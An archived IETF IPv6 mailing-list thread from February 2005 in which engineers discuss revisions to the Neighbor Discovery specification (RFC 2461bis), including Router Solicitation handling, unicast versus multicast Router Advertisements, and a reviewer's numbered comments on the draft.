Sun, 20 Feb 2005 19:31:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30vj-0008GG-Ah for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 18:56:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24692 for ; Sun, 20 Feb 2005 18:55:54 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D31Ho-0005Kp-JI for ipv6@ietf.org; Sun, 20 Feb 2005 19:18:53 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 20 Feb 2005 18:55:17 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Feb 2005 18:55:17 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUXp0jjMrQjzENJStyn7EmE0U2dTAAAEtag From: "Soliman, Hesham" To: X-OriginalArrivalTime: 20 Feb 2005 23:55:17.0627 (UTC) FILETIME=[A0E50CB0:01C517A7] X-Spam-Score: 0.0 (/) X-Scan-Signature: 2c12be3f3a8d57895fb9c003e1517c01 Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: fca741f5016e6ff607eaed2fd431d10d Content-Transfer-Encoding: quoted-printable ok thanks. > -----Original Message----- > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > Sent: Sunday, February 20, 2005 6:53 PM > To: Soliman, Hesham > Cc: Christian Vogt; ipv6@ietf.org; Mark Doll; Roland Bless > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 >=20 >=20 > Soliman, Hesham wrote: > > The text now looks like this: > >=20 > > Router Solicitations in which the Source Address is the unspecified > > address MUST NOT update the router's Neighbor Cache; solicitations > > with a proper source address update the Neighbor Cache as=20 > follows. If > > the router already has a Neighbor Cache entry for the=20 > solicitation's > > sender, the solicitation contains a Source Link-Layer=20 > Address option, > > and the received link-layer address differs from that=20 > already in the > > cache, the link-layer address SHOULD be updated in the appropriate > > Neighbor Cache entry, and its reachability state MUST also=20 > be set to > > STALE. If there is no existing Neighbor Cache entry for the > > solicitation's sender, the router creates one, installs the link- > > layer address and sets its reachability state to STALE as specified > > in Section 7.3.3. If there is no existing Neighbor Cache=20 > entry and no > > Source Link-Layer Address option was present in the=20 > solicitation, the > > router may respond with either a unicast or a multicast router > > advertisement. Whether or not a Source Link-Layer Address option > > is provided, if a Neighbor Cache entry for the=20 > solicitation's sender > > exists (or is created) the entry's IsRouter flag MUST be set to > > FALSE. > >=20 > >=20 > > I hope this is clear, if not let me know ASAP because I'm=20 > submitting > > the draft soon before the deadline. >=20 > It's OK. >=20 > If you wish to swap the 'unicast or multicast' in the second last > sentence to 'multicast or unicast', then that will reflect today's > default preference order. >=20 > Greg >=20 > > Hesham > >=20 > >=20 > > > -----Original Message----- > > > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > > > Sent: Sunday, February 20, 2005 6:13 PM > > > To: Christian Vogt > > > Cc: Soliman, Hesham; ipv6@ietf.org; Mark Doll; Roland Bless > > > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO > > >=20 > > >=20 > > > Hi Christian and Hesham, > > >=20 > > > I think people are asymptoting to the > > > same point. > > >=20 > > > Are we supposed to be suggesting text though? > > >=20 > > > Christian Vogt wrote: > > > > Hi Hesham. > > > >=20 > > > > > [...] > > > >=20 > > > >> > I guess this is why FreeBSD introduces a new state,=20 > > > NOSTATE. It does > > > >> > not do immediate address resolution on an entry in=20 > > > this state. It > > > >> > doesn't need to, because Rtadvd (on FreeBSD) sends=20 > > > multicast >=20 > > > >> RA's in all > > > >> > cases except for ISATAP interfaces.=20 > > > >> =3D> Right, I was trying to accomodate other ways of=20 > > > implementing Rtadvd > > > >> that would send unicast RAs in response to the RS in=20 > question. For > > > >> example in the case where no LLA exists in the=20 > technology used. In > > > >> this case it would be wasteful to multicast the RA. This=20 > > > is especially > > > >> true in a mobile system where you might get several=20 > RSs due to MNs > > > >> appearing on the link. > > > >=20 > > > >=20 > > > > I agree. > > > >=20 > > > >> [...] > > > >> =3D> So, from the above, I assume you suggest that we=20 > always send a=20 > > > >> multicast RA in response? I don't know if this is a good way > > > >> to go given the example I mentioned above. What do you think? > > > >=20 > > > >=20 > > > > No, I don't think that a RA should always be muticasted. =20 > > > It certainly=20 > > > > makes sense in many situations to unicast a RA. I get=20 > > > back to this in=20 > > > > my last comment. > > > >=20 > > > >> > If an RS contains a TSLLAO [1], the router does=20 > not have to >=20 > > > >> immediately > > > >> > initiate address resolution (i.e., be conservative),=20 > > > but can >=20 > > > >> still send > > > >> > a unicast RA. > > > >> > > > >> =3D> I think the TSLLAO draft is useful in this case, but=20 > > > we obviously > > > >> still need to address this case for legacy hosts that=20 > > > don't implement > > > >> TSLLAO. > > > >=20 > > > >=20 > > > > Ok. > > > >=20 > > > >> > > Soliman, Hesham wrote: > > > >> > >> [...] If an entry already=20 > exists with a > > > >> > >> LLA then it responds with a (two options): > > > >> > >> > >> - unicast RA unless a multicast RA was=20 > > > already scheduled. > > > >> > >> > >> - A multicast RA. > > > >> > >> > >> I think the second option might be better to=20 > > > allow for >=20 > > > >> ODAD to work. > > > >> > > Hesham, why would a multicast RA be required for=20 > > > ODAD? An >=20 > > > >> optimistic > node can always send a RS from the=20 > > > unspecified source >=20 > > > >> address to have > the router multicast the RA. > > > >> > > > >> =3D> That's true, I didn't consider this case. It's been a = long > > > >> time since I last read ODAD and I don't know if it allows=20 > > > the Onode to=20 > > > >> send RSs with a tentative src address or if it > > > >> requires the unspecified address. I guess it should=20 > just use the=20 > > > >> unspecified address while the unicast one is tentative. > > > >=20 > > > >=20 > > > > An optimistic node may use a tentative source address in a=20 > > > RS. But if=20 > > > > it does, it must not include the SLLAO. This prevents the=20 > > > router from=20 > > > > overwriting a possibly existing NC entry for the tentative=20 > > > address's=20 > > > > real owner. > > > >=20 > > > > For the same reason, the optimistic node cannot use a=20 > > > SLLAO in a NS sent=20 > > > > from a tentative source address. But since a NS does not=20 > > > make a lot of=20 > > > > sense without a SLLAO, a NS cannot be sent at all=20 > from a tentative=20 > > > > source address. So it must always be the router or a=20 > neighbor who=20 > > > > starts address resolution for an optimistic node while the=20 > > > optimistic=20 > > > > node's is still tentative. > > >=20 > > > This is just as an aside (won't affect the discussion much). > > > It's true that opti-dad isn't allowed to be sent for multicast > > > destinations, where SLLAO must be sent. > > > In unicast NS, where it's not mandatory, it may still=20 > > > possible to send > > > NS with TSLLAO. I'm not sure it's useful though. > > >=20 > > > It's worth noting that responses to unicast NS from a node=20 > > > which doesn't > > > actually have a valid NCE for the solicitor (it is=20 > assumed to do so, > > > from section 7.2.2 of 2461), NS/NA exchange in the=20 > reverse direction > > > is performed before delivery of the NA. > > >=20 > > > >> > Unicast RA's could be advantageous on link layers with >=20 > > > >> acknowledgements, > like IEEE 802.11, where they=20 > are realiably=20 > > > >> transmitted. > > > >> > > > >> =3D> Sure, there are many other examples of WWANs where = unicast > > > >> RAs make more sense when responding to RSs, that's why I'm > > > >> not sure if it's always good to follow the FreeBSD way=20 > > > you describe > > > >> above. > > > >=20 > > > > > > > > > > It'd be good if we can get some agreement on this=20 > before the > > > > > draft deadline. > > > >=20 > > > > Yes, Hesham. I didn't mean to say that the way FreeBSD=20 > > > responds to RS's=20 > > > > is my favorite. Actually, I think that we now have two=20 > > > use-cases where=20 > > > > unicast RS's make more sense, WWANs and 802.11, and there=20 > > > are probably=20 > > > > more. Also, I don't think that the additional state,=20 > > > NOSTATE, which=20 > > > > FreeBSD uses for NC entries without L2 addresses makes a=20 > > > lot of sense. > > > >=20 > > > > Overall, I think that the plethora of scenarios can be=20 > > > accommodated best=20 > > > > if we leave a node some choice with respect to when a=20 > > > router creates a=20 > > > > NC entry, and when it sends a RA by unicast or by multicast. > > > >=20 > > > > RFC 2461bis already depends NC updates on whether the=20 > RS's source=20 > > > > address is unspecified or not: If it is unspecified, the=20 > > > NC is not=20 > > > > updated. If it is valid, either an existing NC entry is=20 > > > modified or a=20 > > > > new NC entry is created. I think this is good; maybe we=20 > > > can expand on=20 > > > > these rules. > > > >=20 > > > > (1) The router can unicast a RA if and only if it=20 > > > previously received a=20 > > > > RS with a valid (specified) source address. Rate=20 > limitations may=20 > > > > prohibit the router from sending a unicast RA, though, and=20 > > > instead send=20 > > > > a multicast RA that is anyway scheduled for transmission. =20 > > > RFC 2461bis=20 > > > > already has this functionality. > > > >=20 > > > > (2) If the received RS has a valid source address, but no=20 > > > SLLAO, then=20 > > > > address resolution must be done before the unicast RA is=20 > > > sent. [Hmm, one=20 > > > > may also consider to trigger address resolution, but=20 > still send a=20 > > > > multicast RA. This could be faster than the unicast RA,=20 > > > which would=20 > > > > have to wait for address resolution to complete...] > > >=20 > > > It's not really worth it to do address resolution. That would > > > need to create neighbour cache state, when there's=20 > nothing to send > > > in the neighbour cache entry queue. The outside the [...] > > > it looks ok. > > >=20 > > > I'd probably guess that it's worth putting a caveat here: > > >=20 > > > If there's no SLLAO, some routers may perfer to=20 > schedule a multicast > > > response, in order to avoid neighbour discovery, which=20 > may be costly > > > on some links. > > >=20 > > > > (3) The router sends multicast RA's, first, on a periodic=20 > > > basis and,=20 > > > > second, whenever it receives a RS with an unspecified=20 > > > source address.=20 > > > > According to RFC 2461bis, rate limitations may cause the=20 > > > router to not=20 > > > > immediately send a solicited multicast RA, but to wait for=20 > > > the next=20 > > > > periodic multicast RA. > > >=20 > > >=20 > > > > (4) Rate limitations should be adjustable according to a=20 > > > particular=20 > > > > link-layer technology, capacity, and deployment scenario. =20 > > > This allows=20 > > > > for easy optimizations, like [1]. > > >=20 > > > Nothing is easy ;-) > > >=20 > > > There's work going on with regard to FastRA which may provide > > > the benefits without manual configuration though. So if this > > > is text we're after, I'd prefer no (informative) references to > > > FastRA in a DS. > > >=20 > > > It's worth specifying that deployers consult IPv6 over=20 > foo documents > > > or IPv6 network deployment BCPs to see if any recommendations > > > update specifications in this document. > > >=20 > > > > - Christian > > > >=20 > > > > [1] draft-mkhalil-ipv6-fastra-05.txt > > > >=20 > > >=20 > > > Greg > > >=20 > >=20 > > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D > > This email may contain confidential and privileged=20 > material for the sole use > > of the intended recipient. Any review or distribution by=20 > others is strictly > > prohibited. If you are not the intended recipient please=20 > contact the sender > > and delete all copies. > > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D > >=20 >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 23:06:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA15116 for ; Sun, 20 Feb 2005 23:06:24 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D35CG-0003Ez-3f for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 23:29:24 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3467-0003TU-Kj; Sun, 20 Feb 2005 22:18:59 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D33ky-0006v5-On for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 21:57:09 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA09977 for ; Sun, 20 Feb 2005 21:57:01 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3473-0001ga-RS for ipv6@ietf.org; Sun, 20 Feb 2005 22:20:00 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:f5be:d25f:8bf7:ebfb]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id AC88F15218; Mon, 21 Feb 2005 11:56:43 +0900 (JST) Date: Mon, 21 Feb 2005 11:57:15 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: H.Soliman@flarion.com User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.1 (/) X-Scan-Signature: fec852dbea6d068499ed3250edf328e2 Cc: ipv6@ietf.org Subject: comments on draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 8eeb555810cda1f2c5989480370dc4ca Hi, I'm really sorry for not doing this earlier, but I've finally gone through this one. I basically do not have significant problems in this document, but still have some non-trivial comments which would require another revision (but I'm afraid you cannot address all of them before the looming cutoff...once again, sorry for the very delayed comments). I must also confess there may be duplicate comments (with ones that others already pointed out). I quickly re-checked the past comments on the ML, but I won't surprise if I miss something. I'd apologize in advance for any duplicates. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp Non-editorial comments 1. (throughout the document) There is a mixture of - how IPv6 operates over different link layers and - how IP operates over different link layers even though there does not seem to be ambiguity of what "IP" means. I guess we can simply use "how IP"...for all the cases. 2. (general) This document hardcodes a constant of "1280" as the minimum link MTU in some places, but shouldn't we be more flexible and simply refer to RFC2460? 3. Section 2.2. (Link Types) Note that all link types (including NBMA) are expected to provide multicast service for IP (e.g., using multicast servers), but it is an issue for further study whether ND should use such facilities or an alternate mechanism that provides the equivalent ND services. I cannot parse this sentence, especially the very last part of it. Does this mean something like this? it is an issue for further study whether ND should use such facilities or an alternate mechanism that provides the equivalent ND services should be used. 4. Section 2.3. (Addresses) Note that this specification does not strictly comply with the consistency requirements for the scopes of source and destination addresses. It is possible in some cases for hosts to use a source address of a larger scope than the destination address in the IPv6 header. what's the "consistency requirements"? What ever they are, should we bother to mention this in the first place? 5. Section 4.2. (Router Advertisement Message Format) Reserved A 6-bit unused field. It MUST be initialized to zero by the sender and MUST be ignored by the receiver. I'm wondering whether we can be more flexible here, since we've already had several proposals that use the "Reserved" field. I know our consensus is that rfc2461bis itself does not included those extensions, but I think it is less-confusing to note that the Reserved field may be used in future extensions. 6. Section 4.6.2. (Prefix Information) Prefix Length 8-bit unsigned integer. [... ...]. The prefix length field provides necessary information for on-link determination (when combined with other flags in the prefix option). [...] what are the "other flags"? If you mean the on-link (L) flag, I think we should explicitly say so. 7. Section 4.6.2. (Prefix Information) A 1-bit autonomous address-configuration flag. When set indicates that this prefix can be used for autonomous address configuration as specified in [ADDRCONF]. => in this context, I guess it is better to use "stateless address autoconfiguration" instead of "autonomous address configuration". (not a strong opinion, though) 8. Section 4.6.2. (Prefix Information) Prefix An IP address or a prefix of an IP address. The Prefix Length field contains the number of valid leading bits in the prefix. [... ...] A router SHOULD NOT send a prefix option for the link-local prefix and a host SHOULD ignore such a prefix option. => I don't see why we cannot use 'MUST (NOT)' here. Is there any scenario where it makes sense for a router to include the link-local prefix in the prefix information option? (Perhaps it's too late to make this comment, and I'm personally fine is the current wording). 9. Section 6.2.3. (Router Advertisement Message Content) - In the M and O flags: the interface's configured AdvManagedFlag and AdvOtherConfigFlag, respectively. See [ADDRCONF]. I've already pointed out that this part is not fully synchronized with the latest consensus on [ADDRCONF], but I'd like to repeat that here to make it sure. In particular, we cannot refer to [ADDRCONF] here, since it does not mention these flags any more. Also, if we can refer to [ADDRCONF] as an informative reference (which I agree with), I believe we should also refer to draft-ietf-ipv6-ra-mo-flags-00.txt as an informative reference. (Basically, we should rather refer to the ra-mo-flags document when we talk about M/O, AdvManagedFlag, or AdvOtherConfigFlag). 10. Section 6.3.4. (Processing Received Router Advertisements) [...] Moreover, information may also be obtained through other dynamic means, such as stateful autoconfiguration. I believe we basically agreed (particularly in 2462bis and the recent M/O flag work) that "stateful configuration" is somewhat confusing and we should just say DHCPv6 wherever possible. I think the general agreement applies here (and, in fact, I don't think using "stateful autoconfiguration" here is appropriate, since the "information" in this context can also be provided by the "stateless" subset of DHCPv6.) 11. Section 6.3.4. (Processing Received Router Advertisements) Stateless address autoconfiguration [ADDRCONF] may in some circumstances increase the Valid Lifetime of a prefix or ignore it completely in order to prevent a particular denial of service attack. "the Valid Lifetime of a prefix" is not really correct in the context of [ADDRCONF]; the lifetime is associated with addresses, not prefixes. And [ADDRCONF] does not directly manipulate prefix lifetimes. So, I think it's better to say, e.g.: Stateless address autoconfiguration [ADDRCONF] may in some circumstances use a larger Valid Lifetime of a prefix or ignore the Valid Lifetime completely in order to prevent a particular denial of service attack. 12. Section 7.2.5. (Receipt of Neighbor Advertisements) If the target's Neighbor Cache entry is in the INCOMPLETE state when the advertisement is received, one of two things happens. I don't understand this sentence; what exactly does "one of two things" specify? It's not clear from the succeeding part. 13. Section 11.1 (Threat analysis) Whereas the third paragraph begins with An example of denial of service attacks is that [...] , this paragraph also talks about other types of threats, e.g., [...] That router can then selectively examine, modify or drop all packets sent on the link. where packet modification can also lead to other types of attacks. I believe this paragraph needs to be more accurate. 14. Section 11.1 (Threat analysis) [...] It is natural to trust the routers on the link. I'm afraid we cannot justify this statement once we refer to [PSREQ]. 15. Section 11.1 (Threat analysis) 2461bis-02 has removed the following part of RFC2461: Received Authentication Headers in Neighbor Discovery packets MUST be verified for correctness and packets with incorrect authentication MUST be ignored. It SHOULD be possible for the system administrator to configure a node to ignore any Neighbor Discovery messages that are not authenticated using either the Authentication Header or Encapsulating Security Payload. The configuration technique for this MUST be documented. Such a switch SHOULD default to allowing unauthenticated messages. But I believe these requirements are still valid and should be included *when we use IPsec* for ND, even if we note the limitation of the use of IPsec to secure ND. 16. APPENDIX A (MULTIHOMED HOSTS) Some of the issued in this appendix are discussed in the "default router preference" draft. I believe we should refer to this document (IMO, it can be an informative reference). 17. APPENDIX A (MULTIHOMED HOSTS) [...] Under similar conditions in the non-multihomed host case, a node treats all destinations as residing on-link, and communication proceeds. [...] This is the so-called "on-link" assumption, which was removed in rfc2461bis. Note that we cannot simply remove this sentence, since it would also affect the succeeding sentence. 18. APPENDIX C (STATE MACHINE FOR THE REACHABILITY STATE) I don't really remember the past discussions, but isn't there an inconsistency between this table and the specification described in the document body? ==================================================================== Pure editorial comments 18. (all the per-page headers:) INTERNET-DRAFT Neighbor Discovery in IPv6 June, 2004 => s/June/October/ :-) (perhaps the problem will automatically be gone in the next rev.) 19. Table of Contents Full Copyright Statement.................Error! Bookmark not defined. => seems to be a compilation error or something with your tool to generate an I-D. 20. Section 4.4. (Neighbor Advertisement Message Format) layer address; otherwise it would not have be able to send the unicast solicitation in the first => s/have be able/have to be able/ 21. Section 7.2.3. (Receipt of Neighbor Solicitations) A valid Neighbor Solicitation that does not meet any the following requirements MUST be silently discarded: => s/any the following/any of the following/ (?) 22. Section 7.3.1. (Reachability Confirmation) [...] Receipt of unsolicited messages only confirm the one-way path from the sender to the recipient node. [...] s/confirm/confirms/ 23. Section 8.2. (Router Specification) - the Destination Address of the packet is not a multicast address, and It seems to me that ", and" is just redundant. 24. Section 11.1 (Threat analysis) - DoS attacks I believe this should be - Denial of Service attacks or - Denial of Service (DoS) attacks (it's slightly odd to see the acronym first and then its expanded form in a succeeding sentence) 25. Section 11.1 - Router spoofing attacks. It's strange to see a "period" only in this bullet. 26. Section 11.1 [...] The Neighbor Unreachability Detection will not detect such a black hole as long as the rogue router politely answers the NUD probes with a Neighbor Advertisement with the R-bit set. I would clarify what "NUD" stands for (although one may think this is pretty obvious). e.g., Neighbor Unreachability Detection (NUD) will not ... (Note that this is the only occurrence of the acronym "NUD") 27. Section 11.1 victim's traffic to itself. The trust model for redirects is the same as in IPv4. [...] It seems to me that we need a blank line between these two sentences. 28. Section 12. (RENUMBERING CONSIDERATIONS) valid since the last lifetime they received was 2 months. Thus if a node was unplugged on July 31st it thinks the prefix is valid until => there seems to be a redundant blank line. 29. REFERENCES (informative) [ADDRCONF] Thomson, S. Narten, T, and T. Jinmei, "IPv6 Address Autoconfiguration", draft-ietf-ipv6-rfc2462bis-02, June The latest version of this document is 07. (02 was too old even when 2461bis-01 was submitted:-) 30. APPENDIX A (MULTIHOMED HOSTS) [...] Should the assumption be FALSE, communication would fail. I don't understand why "FALSE" is all-capitalized in this context. I think we can simply use "false" here. Appendix E.1: Reachability confirmations [...] In merely indicates that 30 minutes ago the window update reached the peer i.e. the path was working at s/In merely indicates/It merely indicates/ -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 23:36:20 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17221 for ; Sun, 20 Feb 2005 23:36:20 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D35f9-0003zK-M4 for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 23:59:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D34bs-0001sx-Nf; Sun, 20 Feb 2005 22:51:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D34DY-00050i-3m for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 22:26:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA11816 for ; Sun, 20 Feb 2005 22:26:32 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D34Zf-0002IA-Mx for ipv6@ietf.org; Sun, 20 Feb 2005 22:49:31 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 20 Feb 2005 22:25:51 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Feb 2005 22:25:51 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUXp0jjMrQjzENJStyn7EmE0U2dTAAAEtagAAc/lRA= From: "Soliman, Hesham" To: X-OriginalArrivalTime: 21 Feb 2005 03:25:51.0820 (UTC) FILETIME=[0B75E8C0:01C517C5] X-Spam-Score: 0.0 (/) X-Scan-Signature: 0bc60ec82efc80c84b8d02f4b0e4de22 Content-Transfer-Encoding: quoted-printable Subject: 2461bis update X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 97adf591118a232206bdb5a27b217034 Content-Transfer-Encoding: quoted-printable Hi all,=20 I just submitted the (hopefully) last rev of 2461bis.=20 This revision includes all comments discussed on the list till today. The only two things missing are updating the Ack section and getting the RFC number for ADDRCONF in the references section. I guess the latter can be a note to the RFC editor. I'll update the Ack section after IESG LC I believe this document is now ready for IESG LC. Thanks, Hesham =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 23:38:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17621 for ; Sun, 20 Feb 2005 23:38:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D35hD-0004D9-MH for ipv6-web-archive@ietf.org; Mon, 21 Feb 2005 00:01:24 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D34dU-0002Se-0O; Sun, 20 Feb 2005 22:53:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D34Hr-0005br-NF for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 22:31:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA12074 for ; Sun, 20 Feb 2005 22:31:00 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D34dy-0002Nm-Uc for ipv6@ietf.org; Sun, 20 Feb 2005 22:53:59 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 20 Feb 2005 22:30:19 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Feb 2005 22:30:18 -0500 Message-ID: Thread-Topic: comments on draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcUXwPxgqZ4s2uIITFaNnrnr9mQR3gABEM0g From: "Soliman, Hesham" To: "JINMEI Tatuya / ????" X-OriginalArrivalTime: 21 Feb 2005 03:30:19.0151 (UTC) FILETIME=[AACD61F0:01C517C5] X-Spam-Score: 0.0 (/) X-Scan-Signature: 354d6627469d0be959806e15912c47f1 Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: comments on draft-ietf-ipv6-2461bis-01.txt 